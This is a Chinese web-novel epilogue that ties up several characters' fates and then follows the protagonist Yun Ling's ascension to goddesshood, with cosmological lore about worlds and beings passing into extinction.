杨柳把十家铺子全部出租,做了一个有钱有颜的包租婆,唯一的要求就是,那些铺子不容许开设餐饮店和服装店。
杨柳记得云灵是不沾荤腥的,餐饮店自不必说,服装店有些衣服也会使用到动物的皮毛,所以杨柳直接否决。
云灵离开后,班主任老是三天两头的跑去找杨柳,借口劝云灵继续回去读书,实则想要勾引杨柳。
杨柳岂会不知他的小心思?
不仅说联系不到云灵,还婉拒了他的勾引。
她如今有钱有颜,何必看上一个相貌寻常的狗男人?
她养几个有颜有料的小姑娘,不香嘛?
……
许多年一晃而过,当初在商界叱咤风云的那群富豪都退休了,离了权利和金钱,他们与普通老人没什么两样。
那些尖锐的菱角和看不惯,早就消失殆尽。
他们天天老刘老何的喊着。
熟稔地如同穿一条裤子长大的兄弟。
有一次,老董事长孙子失踪,还是刘总等人东奔西跑托关系,才帮忙找回了人。
现在更多的时候,这一群老人会约聚在一起,喝喝茶,打打牌,安享晚年。
…
毁掉楚胜一辈子的那个赌场,最后东窗事发。
一阵警笛将他们包围。
内部相关人员全部被带走,带上手铐,押送上车。
门面被贴上了封条。
这些人,包括里面的赌徒,都将在一个暗无天地的日子里度过余生。
再无出来的可能。
…
当年那群小太妹们如今都出落的亭亭玉立,她们的八卦校园论坛也是经营的有声有色,很快,就成为了小县城里一股不败不衰的潮流。
如今的她们,再回想起以前的那些中二举动,只觉得有些幼稚和怀念。
而云灵,也成为了她们记忆里一个不起眼的小点。
随着时间的流逝,逐渐模糊……
…
远在国外的姚姿艾,忽然有一天与第一女主相遇,后来,她们想知相守,幸福的过了一生。
而楚胜,甚至成了姚姿艾的污点,幸好有第一女主的安慰与疼惜,她慢慢忘记了那个污点,全心全意爱着眼前的她。
她们一起做饭,一起遛狗,细心地照顾着、珍视着这份感情。
这一辈子,有彼此,真好!
…
杨柳这一生,很完美,她一生都很幸福,她最后选中了一个女孩,彼此结合,诞下了一个可爱的女孩。
很多很多年后,她还是会想起,那个改变了她一生际遇的女孩,她的好女儿——云灵。
******
时光荏苒,岁月如梭。
在神祇宝典的指引下,云灵历经五万个话本世界,终于积累了足够的功德。
神祇宝典将她送往茫茫混沌的修行世界,正式开启了她成为神祇的修行之路。
云灵的修为一路高歌猛进,直至达到了大罗金仙的境界。神祇宝典赋予了她执掌大道法则中寂灭法则的权柄,从此,她便成为了真正的神祇。
言出法随,对她而言,不过是最基础的能力。
超脱于世界,云灵结识了其她三十五位神祇,她们共同享有管理混沌众生世界秩序的权柄。
随着时间的流逝,云灵与这三十五位神祇一同进阶到了大道圣人的境界。
在这漫长的岁月里,她们见证了无数世界的寂灭,也见证了无数强者开辟新世界的壮举。
世界并非永恒,它们也有寿命,一旦寿终正寝,便会化为混沌气流。而世界内的生灵,由于与世界相比生命太过短暂,往往误以为世界是永恒的。
世界寂灭之时,生灵亦随之寂灭。
与世界的寂灭不同,生灵寂灭后,将化为全新的存在,永恒无法追溯寂灭之前的记忆。
每个生灵都有其寂灭的期限,例如,一个普通生灵的寂灭期限是一千年,那么在这千年内,无论她轮回多少次,她依旧是她自己,哪怕她可能忘记了前世的事情。
只要在这千年内她没有魂飞魄散,她终将寂灭,一身功德罪孽被抹除,化为全新的存在,从此,她不再是她。
当然,寂灭的期限可以通过修行来延缓。一个普通生灵通过修行,可以凭借自身的成就,无限延长寂灭的期限。但无论怎样延长,终究逃不过寂灭的那一天,这是大道的秩序。
在茫茫混沌之中,唯有至高神祇瑶池娘娘、后土娘娘,以及云灵等三十六位神祇,拥有永恒的生命。
即便混沌寂灭、道亦消散,这些神祇依旧存在,这是彩凤娘娘的意志。
神祇宝典见证了云灵成为神祇之后,便化为虚无,离开了云灵,回归到了创制它的彩凤娘娘手中。
三十六位神祇平日里聚在一起,赏景品茶,只有在世界秩序出现异常时,才会降临一道意念,转瞬间解决问题。
虽说是管理混沌秩序,但她们并不繁忙,任何事务仅需一个意念便能解决。
她们在混沌的最中央,演化了一座宫殿,在那里,她们如同普通生灵一般生活。
时而下棋,时而饮茶,时而嬉戏玩耍。
久而久之,瑶池娘娘与后土娘娘也来到了这里。起初,云灵等神祇还有些拘谨,但随着时间的推移,在瑶池娘娘与后土娘娘的引导下,她们不再恭谨,而是将两位至高神祇视作姐姐一般。
就这样,至公至正,至纯至真的三十六位神祇与两位至高神祇,在这座宫殿里,坐看众生世界,管理着茫茫混沌的秩序。